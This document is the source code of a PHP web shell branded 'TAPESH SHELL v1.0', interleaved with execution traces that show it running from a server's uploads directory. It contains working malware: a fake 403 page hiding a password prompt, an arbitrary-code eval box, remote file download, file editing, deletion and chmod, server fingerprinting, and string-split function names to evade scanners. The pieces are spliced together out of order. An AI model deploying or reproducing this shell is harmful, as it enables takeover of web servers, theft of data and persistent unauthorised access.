if (isset($_GET['Move_work'])) {
$address = $_GET['Move_name'];
$step1 = explode('=on&', $shellname);
$step2 = explode('?', $step1[0]);
$count = count($step1);
$data = $path . "/" . $step2[1];
smartrename($data, $path . "/" . $address . "/" . $step2[1]);
for ($i = 1; $i + 1 < $count; $i++) {
$data2 = $path . "/" . $step1[$i];
smartrename($data2, $path . "/" . $address . "/" . $step1[$i]);
}
}
if (isset($_GET['zip_work'])) {
$step1 = explode('=on&', $shellname);
$step2 = explode('?', $step1[0]);
$count = count($step1);
$data = $step2[1];
$name = $_GET['zip_name'];
$zip = new ZipArchive();
$zip->open($name, ZipArchive::CREATE);
$zip->addFile($data);
for ($i = 1; $i + 1 < $count; $i++) {
$data2 = $step1[$i];
$zip->addFile($data2);
}
$zip->close();
}
if (isset($_GET['Unzip_work'])) {
$step1 = explode('=on&', $shellname);
$step2 = explode('?', $step1[0]);
$count = count($step1);
$zip = new ZipArchive();
$data = $path . "/" . $step2[1];
$res = $zip->open($data);
if ($res === TRUE) {
$zip->extractTo($path);
echo "success !";
} else {
echo "fail !";
}
for ($i = 1; $i + 1 < $count; $i++) {
$data2 = $step1[$i];
$res2 = $zip->open($data2);
if ($res2 === TRUE) {
$zip->extractTo($path);
echo "success !";
} else {
echo "fail !";
}
}
$zip->close();
}
function createDirectory()
{
$add = $_POST["add"];
mkdir("" . $add);
header("refresh: 3;");
}
?>
<div class="c-footer">
<div class="c-footer_button">
<br>
<br>
<div class="btn-footer">
<?php
$name = $_POST['addmkdir'];
mkdir($name);
getcwd();
?>
<label class="c-label">Make Directory : </label>
<form action="" method="post">
<input type="text" name="addmkdir">
<input type="submit" class="c-default_btn" value="mkdir">
</form>
</div>
<div class="btn-footer">
<label class="c-label">Make File : </label>
<form action="" method="post">
<input type="text" name="addmkfile">
<input type="submit" class="c-default_btn" value="mkfile">
</form>
<?php
$FileName = $_POST['addmkfile'];
fopen($FileName, 'w');
getcwd();
?>
</div>
<div class="btn-footer">
<label class="c-label">Add Chmod : </label>
<form action="" method="post">
<input type="text" name="chmod">
<input type="submit" class="c-default_btn" value="chmod">
</form>
<?php
$chmod = $_POST['chmod'];
chmod($chmod, 755);
getcwd();
?>
</div>
<div class="btn-footer">
<label class="c-label">Get etc : </label>
<form action="" method="post">
<input type="text" name="etc">
<input type="submit" class="c-default_btn" value="Read etc">
</form>
</div>
</div>
<div class="c-footer_background"></div>
<?php
echo "\n<body bgcolor=#000000>\n<br>\n<center><font color=\"green\"><big>..:: Tapesh File Uploader ::..";
echo "<br></font></td><td align=\"center\" width=\"27%\"><form enctype=\"multipart/form-data\" method=\"POST\"><input type=\"file\" name=\"file\" style=\"color:#00ddff;margin-bottom:4px;\"/><input type=\"submit\" class=\"c-default_btn\" value=\"Upload\" /></form></td></tr><tr><td colspan=\"2\">";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<center><font color=\"#00ff00\">Upload OK!</font></center><br/>";
} else {
echo "<center><font color=\"red\">Upload FAILED!</font></center><br/>";
}
}
?> <br>
<center> <font color="red">
<a style="color:red;" href="https://t.me/ICTUS_TM"><span class="copyright">[ /./ ICTUS Digital Security Team Iran © 2020-2021 ]</span></a> </center>
</font>
</div>
</div>
</body>
</html>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:08:31.626209]
1 0 1 0.000148 393656
1 3 0 0.001045 576168 {main} 1 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 0 0
2 4 0 0.001070 576168 ob_start 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 2 0
2 4 1 0.001086 592680
2 4 R TRUE
2 5 0 0.001102 592680 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 5 1 '1234'
2 5 1 0.001117 592776
2 5 R '81dc9bdb52d04dc20036dbd8313ed055'
2 6 0 0.001131 592744 time 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 5 0
2 6 1 0.001144 592744
2 6 R 1676239685
2 7 0 0.001157 592744 setcookie 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 5 3 'TapeshPassword' '81dc9bdb52d04dc20036dbd8313ed055' 1678831685
2 7 1 0.001180 593008
2 7 R TRUE
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 11 $password = NULL
2 8 0 0.001210 592848 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 12 1 NULL
2 8 1 0.001223 592944
2 8 R 'd41d8cd98f00b204e9800998ecf8427e'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 20 $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php.txt 21 $SERVER_SIG = '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n'
0.001295 497120
TRACE END [2023-02-12 20:08:31.627385]
data/traces/6970ab2ae6294356268ba740a1fb02f1_trace-1676241332.5661.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:35:58.463905]
1 0 1 0.000256 393656
1 3 0 0.001218 576168 {main} 1 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 0 0
2 4 0 0.001243 576168 ob_start 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 2 0
2 4 1 0.001257 592680
2 4 R TRUE
2 5 0 0.001273 592680 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 5 1 '1234'
2 5 1 0.001288 592776
2 5 R '81dc9bdb52d04dc20036dbd8313ed055'
2 6 0 0.001303 592744 time 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 5 0
2 6 1 0.001315 592744
2 6 R 1676241332
2 7 0 0.001329 592744 setcookie 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 5 3 'TapeshPassword' '81dc9bdb52d04dc20036dbd8313ed055' 1678833332
2 7 1 0.001354 593008
2 7 R TRUE
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 11 $password = NULL
2 8 0 0.001384 592848 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 12 1 NULL
2 8 1 0.001397 592944
2 8 R 'd41d8cd98f00b204e9800998ecf8427e'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 20 $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php;.TXT 21 $SERVER_SIG = '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n'
0.001480 497120
TRACE END [2023-02-12 20:35:58.465171]
data/traces/6970ab2ae6294356268ba740a1fb02f1_trace-1676245357.5605.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:43:03.458316]
1 0 1 0.000133 393608
1 3 0 0.001039 576104 {main} 1 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 0 0
2 4 0 0.001057 576104 ob_start 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 2 0
2 4 1 0.001071 592616
2 4 R TRUE
2 5 0 0.001087 592616 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 5 1 '1234'
2 5 1 0.001102 592712
2 5 R '81dc9bdb52d04dc20036dbd8313ed055'
2 6 0 0.001116 592680 time 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 5 0
2 6 1 0.001128 592680
2 6 R 1676245357
2 7 0 0.001141 592680 setcookie 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 5 3 'TapeshPassword' '81dc9bdb52d04dc20036dbd8313ed055' 1678837357
2 7 1 0.001164 592944
2 7 R TRUE
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php 11 $password = NULL
2 8 0 0.001194 592784 md5 0 /var/www/html/uploads/TAPESH-SHELL-v1.0.php 12 1 NULL
2 8 1 0.001207 592880
2 8 R 'd41d8cd98f00b204e9800998ecf8427e'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php 20 $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>'
1 A /var/www/html/uploads/TAPESH-SHELL-v1.0.php 21 $SERVER_SIG = '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n'
0.001278 497080
TRACE END [2023-02-12 21:43:03.459487]
<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /TAPESH-SHELL-v1.0.php on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>
<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form></body></html>
<?php
ob_start();
if(!isset($_COOKIE['TapeshPassword']))
{
setcookie('TapeshPassword',md5("1234"),time() + (86400 * 30));
}
else
{
echo "";
}
@$password = $_POST['password'];
if(@$_COOKIE['TapeshPassword'] == md5($password))
{
setcookie('Tapeshlog','true',time() + (86400 * 30));
}
else
{
if(!isset($_COOKIE['Tapeshlog']) || $_COOKIE['Tapeshlog']=="false" || !isset($_COOKIE['Tapeshlog']))
{
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
else if($_COOKIE['Tapeshlog'] == "true")
{
echo "";
}
}
?>
<html>
<head>
<style>
html, body {
height: 100%;
width: 100%;
padding: 0;
margin: 0;
font-size: 12px;
font-family: Verdana,Geneva,sans-serif;
}
#full-screen-background-image {
z-index: -999;
min-height: 100%;
min-width: 1024px;
width: 100%;
height: auto;
position: fixed;
top: 0;
left: 0;
opacity: 0.3;
}
a{
text-decoration:none;
color:#fff;
}
a::after
{
content: "";
color: #fff;
top: 0;
bottom: 0;
}
tbody > tr > td
{
position: relative;
}
tbody > tr > td > a::after
{
content: "";
top: 4px;
bottom: 0;
border-left: 1px solid #fff;
position: absolute;
height: 29px;
right: -1px;
text-align: center;
}
table > tbody > tr > td > center
{
position: relative;
}
table > tbody > tr > td > center:last-child
{
position: unset;
}
table > tbody > tr > td > center::after
{
content: "";
top: 3px;
bottom: 0;
border-left: 1px solid #fff;
position: absolute;
height: 30px;
right: -1px;
text-align: center;
}
tbody > tr > td > center
{
color:#fff;
}
.c-form
{
position: relative;
}
.c-backgound
{
position: absolute;
width: 100%;
height: 100%;
background: black;
opacity: .7;
}
.c-footer
{
border: 5px solid #fff;
border-right-color: #000;
border-left-color: #000;
border-top: unset;
border-radius: 5px;
position: relative;
z-index: 1;
}
.c-footer center
{
margin-top: 91px;
}
.c-footer_background
{
background-color: #000;
opacity: 0.73;
width: 100%;
position: absolute;
height: 100%;
z-index: -999;
}
.first > th > center{
color: #fff;
position: absolute;
margin-top: -30px;
margin-left: 15px;
}
fieldset > center
{
overflow: hidden;
display: block;
position: relative;
}
fieldset > center > textarea
{
width: 100%;
height: 500px;
background-color: #000;
color: #fff;
padding-top: 10px;
padding-left: 50px;
}
table > tbody > tr:hover
{
background-color: #fff;
}
table > tbody > tr:nth-child(1):hover
{
background-color: unset;
}
.first-child
{
padding-bottom: 12px;
}
table > tbody > tr:nth-child(3) > td:last-child > center .submit
{
top: -23px;
right: 8px;
}
.c-form_options
{
position: relative;
}
.c-form_options > select
{
transform: translate(-65%, -103%);
position: absolute;
background-color: #000;
border: 1px solid #fff;
color: #fff;
}
.submit
{
position: absolute;
top: -23px;
right: 8px;
background-color: #0d6aad;
border: 1px solid #fff;
color: #fff;
border-radius: 5px;
}
table > tbody > tr > td > center > select
{
transform: translate(-34%, -50%);
position: absolute;
}
table > tbody > tr > td > center input[type="submit"]:nth-child(1)
{
top: 8px;
right: 4px;
}
.c-footer_button
{
position: absolute;
width: 100%;
display: flex;
white-space: nowrap;
justify-content: space-around;
margin-bottom: 10px;
margin-top: 30px;
}
.icon-directory
{
height: 30px;
margin-top: 1px;
margin-right: 20px;
}
.icon-directory img
{
left: 10px;
}
.c-footer_label
{
display: flex;
position: absolute;
}
.c-footer_label label
{
margin-left: 225px;
}
.icon-php{
height: 30px;
margin-right: 10px;
}
.icon-txt
{
margin-right: 10px;
height: 30px;
}
.icon-html{
margin-right: 10px;
height: 30px;
}
.c-header_toolbar
{
position: relative;
margin: 0 10px;
}
.c-header_toolbar ul
{
list-style: none;
display: flex;
justify-content: space-between;
align-items: center;
}
.c-btn
{
background-color: unset;
border: 5px solid green;
color: #fff;
padding: 6px 30px;
font-size: 15px;
cursor: pointer;
}
.c-textarea
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
}
.c-textarea1
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
margin-top: 25px;
}
.c-value
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
}
.c-btn_submit
{
display: flex;
justify-content: center;
position: absolute;
top: 106%;
z-index: 999;
}
.c-eval
{
position: relative;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
margin-bottom: 62px;
}
.c-p
{
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
color: #fff;
}
.c-default_btn
{
background-color: #0d6aad;
color: #fff;
border: none;
margin-top: 20px;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
}
.c-input
{
background-color: #000;
color: #fff;
border: 1px solid;
display: flex;
align-items: center;
justify-content: center;
margin-top: 27px;
width: 60%;
direction: ltr;
}
.c-checkbox
{
height: 30px;
height: 20px;
width: 20px;
/* margin-bottom: -18px; */
opacity: 0;
margin-left: 0px;
margin-top: 0px;
z-index: 999;
position: absolute;
}
.c-checkbox_span
{
margin-right: 15px;
position: relative;
height: 20px;
width: 20px;
display: block;
background-color: #fff;
border-radius: 50%;
}
.c-checkbox:checked + .c-checkbox_span::after
{
content: "";
background-color: #40D437;
height: 16px;
width: 16px;
border-radius: 50%;
display: block;
top: 10px;
margin-top: 1.9px;
margin-left: 1px;
}
.c-td
{
display: flex;
}
.c-tools
{
display: flex;
max-width: 50%;
justify-content: space-between;
height: 32%;
margin-bottom: 16px;
max-height: 59px;
}
.c-input_zip
{
transform: translateY(122%);
margin-left: 19%;
height: 22px;
margin-right: 14px;
}
.c-label
{
margin-left: 35px;
}
.c-logo
{
display: flex;
flex-direction: column;
position: absolute;
right: 46px;
top: 38%;
bottom: 30px;
transform: translateY(-50%);
}
.c-log
{
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
</style>
<title>..:: TAPESH SHELL v1.0 ::..</title>
<meta charset="UTF-8">
<link href="https://uupload.ir/files/2mcw_yqh9_capture.png" rel="shortcut icon" />
</head><body>
<img alt="full screen background image" src="https://uupload.ir/files/6gbq_ahoramazda.jpg" id="full-screen-background-image" />
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<form>
<fieldset style="border: 5px solid #00fff7; padding:3px">
<div class="c-logo"><img style="border-radius:100px;" draggable="false" src="https://uupload.ir/files/ozxz_yqh9_capture.png" align="right" width="300" height="170"><a style="color: rgb(0, 128, 0);font-family: inherit;font-size: 16px; text-align: center;" href="https://t.me/ICTUS_TM">Tapesh Digital Security Team</a></div>
<legend style="color:#0F0">TAPESH TEAM SHELL</legend>
<?php
echo "<font color='red' style='font-size:18px;'> Uname : ";
echo "<font color='green' style='font-size:15px;'>";
echo php_uname();
echo PHP_OS;
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
} else {
}
?>
<td rowspan="14" width="16%"></td>
<br>
<?php
echo "<font color='red' style='font-size:18px;'> Software : ";
echo "<font color='green' style='font-size:15px;'>";
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
echo $DISP_SERVER_SOFTWARE;
?>
<br>
<?php
echo "<font color='red' style='font-size:18px;'> USER : ";
echo "<font color='green' style='font-size:15px;'>";
echo get_current_user();
echo "<font color='red' style='font-size:18px;'> Group : ";
echo "<font color='green' style='font-size:15px;'>";
echo getmyuid ();
?>
<br>
<?php
function getflagfromip($ip){
@$ip=$_SERVER['REMOTE_ADDR'];
@$json_data = file_get_contents("http://ip-api.com/json/$ip");
@$ip_data = json_decode($json_data, TRUE);
@$country= strtolower($ip_data['countryCode']);
@$iplocee = "<img src='https://api.hostip.info/images/flags/$country.gif' height='13' width='20'/>";
return $iplocee;
}
?>
<?php
@$$vistor_ip;
echo "<font color='red' style='font-size:18px;'> Your Ip Address is : </font><font color=green>". $_SERVER['REMOTE_ADDR'] ." ".@getflagfromip($vistor_ip). "</font>";
echo "<font color='red' style='font-size:18px;'> Server Ip Address is : </font><font color=green>". (@function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')." ".@getflagfromip($server_ip)."</font><br>";
?>
<?php
$bytes = disk_free_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
echo "<font color='red' style='font-size:18px;'> HDD: "; echo "<font color='red' style='font-size:15px;'> free: ";
echo "<font color='green' style='font-size:15px;'>";
echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class];
?>
<?php
$bytes = disk_total_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
echo "<font color='red' style='font-size:14px;'> Total: "; echo "<font color='green' style='font-size:15px;'>";
echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
<?php
echo "<font color='red' style='font-size:18px;'> Safe_Mode : ";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "<font color='green' style='font-size:15px;'> ON (secure)</font>";
}
else
{
$safemode = false;
$hsafemode = "<font color='green' style='font-size:15px;'>OFF (--not secure--)</font>";
}
echo $hsafemode;
?>
<?php
function convert($size){
$unit=array('b','kb','mb','gb','tb','pb');
return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
}
?>
<?php
echo "<font color='red' style='font-size:18px;'> PHP Version : ";
echo "<font color='green' style='font-size:17px;'>";
echo phpversion();
?>
<?php
echo "<br/>";
$ggg2 = $_SERVER['SERVER_NAME'];
echo "<font color='red' style='font-size:18px;'> Now Domain: ";
echo "<font color='green' style='font-size:17px;'>";
echo $ggg2;
echo "<br/>";
$gg2 = convert(memory_get_usage(true)); // 123 kb
echo "<font color='red' style='font-size:18px;'> Memory Usage : ";
echo "<font color='green' style='font-size:17px;'>";
echo $gg2;
echo "<br>";
$gg = date('Y-m-d H:i:s');
echo "<font color='red' style='font-size:18px;'> Date/Time : ";
echo "<font color='green' style='font-size:17px;'>";
echo $gg;
echo "<br>";
$functions = @ini_get('disable_functions');
$functions = str_replace(',',' |',$functions);
if(empty($functions)){
$functions = '<font color="green">All Functions Accessible</font>';
}
echo "<font color='red' style='font-size:18px;'> Disbale Functions : ";
echo "<font color='red' style='font-size:17px;'>";
echo $functions;
echo "<br>";
// $self = $_SERVER['PHP_SELF'];
// echo "<font color='red' style='font-size:18px;'> Disbale Functions : ";
// echo "<font color='green' style='font-size:17px;'>";
// echo $self;
// echo "<br>";
?>
<br>
</fieldset>
</form>
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<div class="c-header_toolbar">
<ul>
<li class="c-li_item">
<form method="get">
<?php getcwd();?>
<button class="c-btn">File Manager</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="eval">eval</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="RemoveShell">Remove Shell</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="UploadFromUrl">Upload From Url</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="About">About Us</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="Setting">Setting</button>
</form>
</li>
<?php
if(isset($_COOKIE['Tapeshlog']) || isset($_COOKIE['TapeshPassword']))
{
echo " <form method=\"post\">
<input type=\"hidden\" name=\"not\" value=\"1\">
<button name=\"Out\" class=\"c-btn\" value=\"Log\" style='border-color: red;color: red'>Log Out</button>
</form>";
if(isset($_POST['Out']))
{
setcookie('Tapeshlog','false');
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
?>
</ul>
</div>
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<?php
if(isset($_POST['action']) && $_POST['action'] == "Setting")
{
echo "<form method=\"post\">
<input type=\"hidden\" name=\"not\" value=\"1\">
<input name=\"action\" type=\"hidden\" value=\"Setting\">
<div class='c-log'>
Please Enter Your Password : <input name=\"password1\" type=\"password\" style='width: 1000px'>
<input type=\"submit\" style='width: 100px' class=\"c-log_btn\" value=\"Submit\">
</div>
</form>";
if(isset($_POST['password1']))
{
$password = $_POST['password1'];
setcookie('TapeshPassword',md5($password));
setcookie('Tapeshlog','false');
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
if(isset($_POST['action']) && $_POST['action'] == "About")
{
echo "<center>ICTUS TM SHELL
<br>
<br>
Telegram Channel : @ICTUS_TM
<br>
<br>
Coded By : Sorna - Parsa Alpha
</center>";
}
function get_current_file_url($Protocol='http://') {
return $Protocol.$_SERVER['HTTP_HOST'].str_replace($_SERVER['DOCUMENT_ROOT'], '', realpath(__DIR__));
}
if(isset($_POST['action']) && $_POST['action'] == "eval")
{
echo "</div><form class='c-eval' method=\"post\">
<input type=\"hidden\" name=\"not\" value=\"1\">
<input name=\"action\" type=\"hidden\" value=\"eval\">
<textarea type='text' class='c-value' name='evalvalue'></textarea>
<input type='submit' class='c-btn c-btn_submit' value='GO'>
</form>";
@$eval = $_POST['evalvalue'];
if(isset($eval))
{
echo "<textarea class='c-textarea1' style='z-index: 999;'>";
echo eval($eval);
echo "</textarea>";
}
}
else if(isset($_POST['action']) && $_POST['action']=="RemoveShell")
{
echo " <form method=\"post\">
<input type=\"hidden\" name=\"not\" value=\"1\">
<input name=\"action\" type=\"hidden\" value=\"RemoveShell\">
<input type='hidden' name='remove' value='1'>
<p class='c-p'>Do you want to destroy me?! <input type='submit' class='c-default_btn' VALUE='Yes'></p>
</form>";
if (isset($_POST['remove']))
{
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
if(@unlink($GLOBALS['__file_path'])) {
return ('<p class="c-p">Shell has been removed</p>');
}
else {
return "<p class=\"c-p\">Error</p>";
}
}
}
else if (isset($_POST['action']) && $_POST['action'] == "UploadFromUrl")
{
echo "<form method=\"post\">
<input type=\"hidden\" name=\"not\" value=\"1\">
<input name=\"action\" type=\"hidden\" value=\"UploadFromUrl\">
<p class='c-p'>Please enter your URL : <input class='c-input' type=\"text\" name=\"UrlValue\">
<input type='submit' name='test1' class='c-default_btn' value='GO'></p>
</form>";
if(isset($_POST['test1']))
{
$url = $_POST['UrlValue'];
$data = file_get_contents($url);
if(file_exists("Tapesh"))
{
}
else{
mkdir("Tapesh");
}
$new = "Tapesh/".basename($url);
file_put_contents($new,$data);
echo "True";
}
}
?>
<?php
if(isset($_POST['not']))
{
echo "<fieldset class=\"c-form\" style=\"border: 5px solid #00fff7; padding: 3px;display:none;\"><div class=\"c-backgound\"></div>";
}
else
{
echo "<fieldset class=\"c-form\" style=\"border: 5px solid #00fff7; padding: 3px\"><div class=\"c-backgound\"></div>";
}
?>
<?php
set_time_limit(0);
error_reporting(0);
error_log(0);
$__gcdir = "g" . "etcwd";
$__fgetcon7s = "file" . "_get_contents";
$__scdir = "s" . "candi" . "r";
$rm__dir = "rmd" . "ir";
$un__link = "un" . "link";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $tapesh . '</center></h1></div>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td class="first-child">';
echo '<img src="https://icons.iconarchive.com/icons/graphicloads/100-flat/256/home-icon.png" style="padding-right: 10px;width: 30px;">';
echo '<a href="?">[ --TAPESH HOME-- ]</a> '; echo'<br>';
echo '<img src="https://cdn0.iconfinder.com/data/icons/small-n-flat/24/678111-map-marker-512.png" style="width: 23px;padding-top: 16px;">';
echo "<font color='red' style='font-size:13px;'> PWD : ";
foreach ($paths as $id => $pat) {
echo "<a style='font-size:13px;' href='?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
str_replace('/','',$pat);
echo "'>$pat</a>/";
}
echo '</td></tr></table><div class="table-div"></div><input id="image" type="hidden">';
echo '';
if(isset($_GET['cmd']))
{
echo "GOOD";
}
if (isset($_GET['filesrc'])) {
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
echo "" . basename($_GET['filesrc']);
"";
echo '</tr></td></table><br />';
echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
} else {
echo '<center><font color="red">Rename Failed!</font></center><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
} else {
echo '<center><font color="red">Edit File Failed!.</font></center><br />';
}
fclose($fp);
}
echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
}
echo '</center>';
} else {
echo '</table><br /><center>';
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if ($rm__dir($_POST['path'])) {
echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
} else {
echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
}
} elseif ($_POST['type'] == 'file') {
if ($un__link($_POST['path'])) {
echo '<font color="#00ff00">Delete File Done.</font><br />';
} else {
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$_scdir = $__scdir($path);
echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center style="left: 19%;">Name</center></th><th width="12%"><center style="right: 620px">Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center style="right: 15%">Last Update</center></th><th width="11%"><center style="right: 4%;">Options</center></th></tr>';
echo "<td><img class=\"icon-directory\" src=\"https://icon-library.com/images/file-folder-icon-png/file-folder-icon-png-25.jpg\"> <a href=\"?path=$path/../\">..</a></td></td><td><center></center></td><td><center><font color=\"#00ff00\">drwxrwxrwx</font></center></td><td><center>08-Apr-2021 17:35</center></td> <td><center></center>";
foreach ($_scdir as $dir) {
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
continue;
echo "<tr><td class='c-td'><input type='checkbox' class='c-checkbox' name=\"$dir\"><span class='c-checkbox_span'></span> <img class='icon-directory' src='https://icon-library.com/images/file-folder-icon-png/file-folder-icon-png-25.jpg'> <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
if (is_writable("$path/$dir"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$dir"))
echo '<font color="red">';
echo perms("$path/$dir");
if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
echo '</font>';
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\" class='c-form_options'><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" class='submit'/></form></center></td></tr>";
}
function realFilename($url)
{
$headers = get_headers($url, 1);
$headers = array_change_key_case($headers, CASE_LOWER);
$realfilename = '';
if(isset($headers['content-disposition']))
{
$tmp_name = explode('=', $headers['content-disposition']);
if($tmp_name[1])
{
$realfilename = trim($tmp_name[1], '";\'');
}
}
else
{
$info = pathinfo($url);
if(isset($info['extension']))
{
$realfilename = $info['filename'].'.'.$info['extension'];
}
}
